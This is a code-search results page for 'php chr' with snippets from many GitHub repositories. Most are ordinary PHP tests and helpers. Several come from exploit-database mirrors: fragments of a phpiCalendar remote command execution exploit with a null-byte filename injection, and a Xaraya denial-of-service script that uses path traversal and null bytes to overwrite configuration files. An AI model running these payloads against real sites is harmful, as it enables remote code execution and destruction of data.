PageRenderTime 613ms queryFilters 2ms Sphinxql 565ms GetByIds 24ms meta 0ms repositoryFilters 7ms languageFilters 1ms sourceFilters 2ms

84,481 results for 'php chr repo:teplitsa/easy-digital-downloads' (613 ms)

Source

Language

Repository

addslashes_variation2.php https://github.com/chalos/hhvm.git | PHP | 85 lines
1<?php
2/* Prototype  : string addslashes ( string $str )
38                    'he said, ""he will be on leave"',
39                    '"""PHP"""',
40                    "",
52                    'hello'.chr(0).'world',
53                    chr(0).'hello'.chr(0),
54                    chr(0).chr(0).'hello',
54                    chr(0).chr(0).'hello',
55                    chr(0),
56
59                    "'\\0.0.0.0'".chr(0),
60                    chr(0)."'c:\php\'",
61                    '"\\0.0.0.0"',
61                    '"\\0.0.0.0"',
62                    '"c:\php\"'.chr(0)."'",
63                    '"hello"'."'world'".chr(0).'//',
stripslashes_variation2.php https://github.com/chalos/hhvm.git | PHP | 103 lines
1<?php
2/* Prototype  : string stripslashes ( string $str )
49                    'he said, ""he will be on leave"',
50                    '"""PHP"""',
51                    "",
65                    'hello'.chr(0).'world',
66                    chr(0).'hello'.chr(0),
67                    chr(0).chr(0).'hello',
67                    chr(0).chr(0).'hello',
68                    chr(0),
69
72                    "'\\0.0.0.0'".chr(0),
73                    chr(0)."'c:\php\'",
74                    '"\\0.0.0.0"',
74                    '"\\0.0.0.0"',
75                    '"c:\php\"'.chr(0)."'",
76                    '"hello"'."'world'".chr(0).'//',
phpToJS.php git://github.com/phpnode/YiiJS.git | PHP | 1,640 lines
3 * A woefully naive, context unaware PHP to JavaScript token transformer.
4 * Relies on php.js for a lot of the built in PHP functions.
5 * HERE BE DRAGONS!
202		'addslashes' => 'php.addslashes',
203		'chr' => 'php.chr',
204		'crc32' => 'php.crc32',
1414 */
1415class phpClass extends phpBase {
1416	
1512 */
1513class phpProperty extends phpBase {
1514	/**
1547 */
1548class phpMethod extends phpBase {
1549	/**
SearchTokenizerTest.php https://github.com/benjy/Devblog.git | PHP | 159 lines
133  /**
134   * Like PHP chr() function, but for unicode characters.
135   *
135   *
136   * chr() only works for ASCII characters up to character 255. This function
137   * converts a number to the corresponding unicode character. Adapted from
145    if ($num < 2048) {
146      return chr(($num >> 6) + 192) . chr(($num & 63) + 128);
147    }
149    if ($num < 65536) {
150      return chr(($num >> 12) + 224) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
151    }
153    if ($num < 2097152) {
154      return chr(($num >> 18) + 240) . chr((($num >> 12) & 63) + 128) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
155    }
SearchTokenizerTest.php https://github.com/besutra/freeraum.git | PHP | 159 lines
133  /**
134   * Like PHP chr() function, but for unicode characters.
135   *
135   *
136   * chr() only works for ASCII characters up to character 255. This function
137   * converts a number to the corresponding unicode character. Adapted from
145    if ($num < 2048) {
146      return chr(($num >> 6) + 192) . chr(($num & 63) + 128);
147    }
149    if ($num < 65536) {
150      return chr(($num >> 12) + 224) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
151    }
153    if ($num < 2097152) {
154      return chr(($num >> 18) + 240) . chr((($num >> 12) & 63) + 128) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
155    }
1586.php https://github.com/B-Rich/fullypwnd.git | PHP | 147 lines
2<?
3echo "php iCalendar <=2.21 publish.ical.php remote cmmnds xctn\r\n";
4echo "by rgod rgod<AT>autistici<DOT>org\r\n";
5echo "site: http://retrogod.altervista.org\r\n";
6echo "this works if \"phpicalendar_publishing\" is set to 1 in config.inc.php\r\n\r\n";
7
24echo "Examples:\r\n";
25echo "php ".$argv[0]." localhost /phpical/ ls -la\r\n";
26die;
80    $html='';
81    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
82      $html.=fread($ock,1);
110
111$data="X-WR-CALNAME:suntzu.php".CHR(0x00)."F@kech4rs\n"; //one shot, kill fopen() & trim() php funcs
112$data.='
1586.php https://github.com/B-Rich/exploit-database.git | PHP | 147 lines
2<?
3echo "php iCalendar <=2.21 publish.ical.php remote cmmnds xctn\r\n";
4echo "by rgod rgod<AT>autistici<DOT>org\r\n";
5echo "site: http://retrogod.altervista.org\r\n";
6echo "this works if \"phpicalendar_publishing\" is set to 1 in config.inc.php\r\n\r\n";
7
24echo "Examples:\r\n";
25echo "php ".$argv[0]." localhost /phpical/ ls -la\r\n";
26die;
80    $html='';
81    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
82      $html.=fread($ock,1);
110
111$data="X-WR-CALNAME:suntzu.php".CHR(0x00)."F@kech4rs\n"; //one shot, kill fopen() & trim() php funcs
112$data.='
17129_0.php https://github.com/B-Rich/osf_db.git | PHP | 148 lines
2<?
3echo "php iCalendar <=2.21 publish.ical.php remote cmmnds xctn\r\n";
4echo "by rgod rgod<AT>autistici<DOT>org\r\n";
5echo "site: http://retrogod.altervista.org\r\n";
6echo "this works if \"phpicalendar_publishing\" is set to 1 in config.inc.php\r\n\r\n";
7
24echo "Examples:\r\n";
25echo "php ".$argv[0]." localhost /phpical/ ls -la\r\n";
26die;
80    $html='';
81    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
82      $html.=fread($ock,1);
110
111$data="X-WR-CALNAME:suntzu.php".CHR(0x00)."F@kech4rs\n"; //one shot, kill fopen() & trim() php funcs
112$data.='
1586.php https://github.com/Bronx205/exploit-database.git | PHP | 147 lines
2<?
3echo "php iCalendar <=2.21 publish.ical.php remote cmmnds xctn\r\n";
4echo "by rgod rgod<AT>autistici<DOT>org\r\n";
5echo "site: http://retrogod.altervista.org\r\n";
6echo "this works if \"phpicalendar_publishing\" is set to 1 in config.inc.php\r\n\r\n";
7
24echo "Examples:\r\n";
25echo "php ".$argv[0]." localhost /phpical/ ls -la\r\n";
26die;
80    $html='';
81    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
82      $html.=fread($ock,1);
110
111$data="X-WR-CALNAME:suntzu.php".CHR(0x00)."F@kech4rs\n"; //one shot, kill fopen() & trim() php funcs
112$data.='
SearchTokenizerTest.php https://github.com/build2be/drupal.git | PHP | 153 lines
127  /**
128   * Like PHP chr() function, but for unicode characters.
129   *
129   *
130   * chr() only works for ASCII characters up to character 255. This function
131   * converts a number to the corresponding unicode character. Adapted from
139    if ($num < 2048) {
140      return chr(($num >> 6) + 192) . chr(($num & 63) + 128);
141    }
143    if ($num < 65536) {
144      return chr(($num >> 12) + 224) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
145    }
147    if ($num < 2097152) {
148      return chr(($num >> 18) + 240) . chr((($num >> 12) & 63) + 128) . chr((($num >> 6) & 63) + 128) . chr(($num & 63) + 128);
149    }
1586.php https://github.com/ButtNet/exploit-database.git | PHP | 147 lines
2<?
3echo "php iCalendar <=2.21 publish.ical.php remote cmmnds xctn\r\n";
4echo "by rgod rgod<AT>autistici<DOT>org\r\n";
5echo "site: http://retrogod.altervista.org\r\n";
6echo "this works if \"phpicalendar_publishing\" is set to 1 in config.inc.php\r\n\r\n";
7
24echo "Examples:\r\n";
25echo "php ".$argv[0]." localhost /phpical/ ls -la\r\n";
26die;
80    $html='';
81    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
82      $html.=fread($ock,1);
110
111$data="X-WR-CALNAME:suntzu.php".CHR(0x00)."F@kech4rs\n"; //one shot, kill fopen() & trim() php funcs
112$data.='
1345.php https://github.com/B-Rich/fullypwnd.git | PHP | 211 lines
1<?php
2#   ---Xaraya_DOS.php                                     17.30 28/11/2005     #
40http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
41name="form1" method="post"  action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
42type="text"  name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
163    $html='';
164    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
165    {
184
185  $KEYFILE=urlencode("../../../../.key.php"); //to create an empty key.php dir...
186  $HTACCESS=urlencode("../../../../../.htaccess"); //to create an empty .htaccess dir...
186  $HTACCESS=urlencode("../../../../../.htaccess"); //to create an empty .htaccess dir...
187  $CONFIGFILE=urlencode("../../../../config.system.php".CHR(0x00)); //overwrite configuration file with garbage
188
188
189  $request[0]="index.php?module=".$KEYFILE;
190  $request[1]="index.php?module=".$HTACCESS;
1345.php https://github.com/B-Rich/exploit-database.git | PHP | 211 lines
1<?php
2#   ---Xaraya_DOS.php                                     17.30 28/11/2005     #
40http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
41name="form1" method="post"  action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
42type="text"  name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
163    $html='';
164    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
165    {
184
185  $KEYFILE=urlencode("../../../../.key.php"); //to create an empty key.php dir...
186  $HTACCESS=urlencode("../../../../../.htaccess"); //to create an empty .htaccess dir...
186  $HTACCESS=urlencode("../../../../../.htaccess"); //to create an empty .htaccess dir...
187  $CONFIGFILE=urlencode("../../../../config.system.php".CHR(0x00)); //overwrite configuration file with garbage
188
188
189  $request[0]="index.php?module=".$KEYFILE;
190  $request[1]="index.php?module=".$HTACCESS;
1345.php https://github.com/Bronx205/exploit-database.git | PHP | 211 lines
1<?php
2#   ---Xaraya_DOS.php                                     17.30 28/11/2005     #
40http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
41name="form1" method="post"  action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
42type="text"  name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
163    $html='';
164    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
165    {
184
185  $KEYFILE=urlencode("../../../../.key.php"); //to create an empty key.php dir...
186  $HTACCESS=urlencode("../../../../../.htaccess"); //to create an empty .htaccess dir...
186  $HTACCESS=urlencode("../../../../../.htaccess"); //to create an empty .htaccess dir...
187  $CONFIGFILE=urlencode("../../../../config.system.php".CHR(0x00)); //overwrite configuration file with garbage
188
188
189  $request[0]="index.php?module=".$KEYFILE;
190  $request[1]="index.php?module=".$HTACCESS;
1345.php https://github.com/ButtNet/exploit-database.git | PHP | 211 lines
1<?php
2#   ---Xaraya_DOS.php                                     17.30 28/11/2005     #
40http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
41name="form1" method="post"  action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
42type="text"  name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
163    $html='';
164    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
165    {
184
185  $KEYFILE=urlencode("../../../../.key.php"); //to create an empty key.php dir...
186  $HTACCESS=urlencode("../../../../../.htaccess"); //to create an empty .htaccess dir...
186  $HTACCESS=urlencode("../../../../../.htaccess"); //to create an empty .htaccess dir...
187  $CONFIGFILE=urlencode("../../../../config.system.php".CHR(0x00)); //overwrite configuration file with garbage
188
188
189  $request[0]="index.php?module=".$KEYFILE;
190  $request[1]="index.php?module=".$HTACCESS;
chr.js git://github.com/kvz/phpjs.git | JavaScript | 18 lines
1module.exports = function chr (codePt) {
2  //  discuss at: https://locutus.io/php/chr/
3  // original by: Kevin van Zonneveld (https://kvz.io)
4  // improved by: Brett Zamir (https://brett-zamir.me)
5  //   example 1: chr(75) === 'K'
6  //   example 1: chr(65536) === '\uD800\uDC00'
chr.js https://github.com/andriuspetrauskis/phpjs.git | JavaScript | 18 lines
1module.exports = function chr (codePt) {
2  //  discuss at: http://locutus.io/php/chr/
3  // original by: Kevin van Zonneveld (http://kvz.io)
4  // improved by: Brett Zamir (http://brett-zamir.me)
5  //   example 1: chr(75) === 'K'
6  //   example 1: chr(65536) === '\uD800\uDC00'
SQLFunctionTest.class.php git://github.com/xp-framework/xp-framework.git | PHP | 395 lines
164      '(\'aa\' || str(getdate()) || \'cc\') as "concatTest"',
165      '\'aa\' || php(\'strval\', php(\'date\', \'Y-m-d H:i:s\', php(\'time\'))) || \'cc\' as \'concatTest\'',
166      create(new \rdbms\Criteria())->setProjection(SQLFunctions::concat('aa', SQLFunctions::str(SQLFunctions::getdate()), 'cc'), 'concatTest')
201      'datename(hour, getdate())',
202      'php(\'strval\', php(\'idate\', "H", php(\'strtotime\', php(\'date\', \'Y-m-d H:i:s\', php(\'time\')))))',
203      create(new \rdbms\Criteria())->setProjection(SQLFunctions::datename('hour', SQLFunctions::getdate()))
261      'round(1.5, 0) as "roundtest1", round(1.49, 0) as "roundtest2", round(1.49, 1) as "roundtest3"',
262      'php(\'round\', 1.5, 0) as \'roundtest1\', php(\'round\', 1.49, 0) as \'roundtest2\', php(\'round\', 1.49, 1) as \'roundtest3\'',
263      create(new \rdbms\Criteria())->setProjection(\rdbms\criterion\Projections::ProjectionList()
383      'where job_id = ceil(asin(sin(0.125)))',
384      'where job_id = php(\'ceil\', php(\'asin\', php(\'sin\', 0.125)))',
385      create(new \rdbms\Criteria())->add(Restrictions::equal('job_id', SQLFunctions::ceil(SQLFunctions::asin(SQLFunctions::sin(0.125)))))
390      'where job_id = ceil(asin(sin(0.125)))',
391      'where job_id = php(\'ceil\', php(\'asin\', php(\'sin\', 0.125)))',
392      create(new \rdbms\Criteria())->add(Restrictions::equal(Job::column('job_id'), SQLFunctions::ceil(SQLFunctions::asin(SQLFunctions::sin(0.125)))))
SQLiteDialect.class.php git://github.com/xp-framework/xp-framework.git | PHP | 243 lines
50        'datediff_3'   => 'datediff_not_implemented',
51        'datename_2'   => 'php("strval", php("idate", %t, php("strtotime", %s)))',
52        'datepart_2'   => 'php("idate", %t, php("strtotime", %s))',
57        'getdate_0'    => 'php("date", "Y-m-d H:i:s", php("time"))',
58        'hour_1'       => 'php("idate", "H", php("strtotime", %s))',
59        'len_1'        => 'php("strlen", %s)',
68        'minute_1'     => 'php("idate", "i", php("strtotime", %s))',
69        'month_1'      => 'php("idate", "m", php("strtotime", %s))',
70        'nullif_2'     => 'nullif(%s, %s)',
78        'rtrim_2'      => 'php("rtrim", %s, %s)',
79        'second_1'     => 'php("idate", "s", php("strtotime", %s))',
80        'sign_1'       => 'sign(%d)',
91        'upper_1'      => 'php("strtoupper", %s)',
92        'year_1'       => 'php("idate", "Y", php("strtotime", %s))',
93      );
class.csv-to-api.php https://github.com/jmmnn/csv-to-api.git | PHP | 1,342 lines
1143        .chr(159).chr(162).chr(165).chr(181).chr(192).chr(193).chr(194)
1144        .chr(195).chr(196).chr(197).chr(199).chr(200).chr(201).chr(202)
1145        .chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210)
1145        .chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210)
1146        .chr(211).chr(212).chr(213).chr(214).chr(216).chr(217).chr(218)
1147        .chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227)
1147        .chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227)
1148        .chr(228).chr(229).chr(231).chr(232).chr(233).chr(234).chr(235)
1149        .chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243)
1149        .chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243)
1150        .chr(244).chr(245).chr(246).chr(248).chr(249).chr(250).chr(251)
1151        .chr(252).chr(253).chr(255);
1155      $string = strtr($string, $chars['in'], $chars['out']);
1156      $double_chars['in'] = array(chr(140), chr(156), chr(198), chr(208), chr(222), chr(223), chr(230), chr(240), chr(254));
1157      $double_chars['out'] = array('OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th');
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21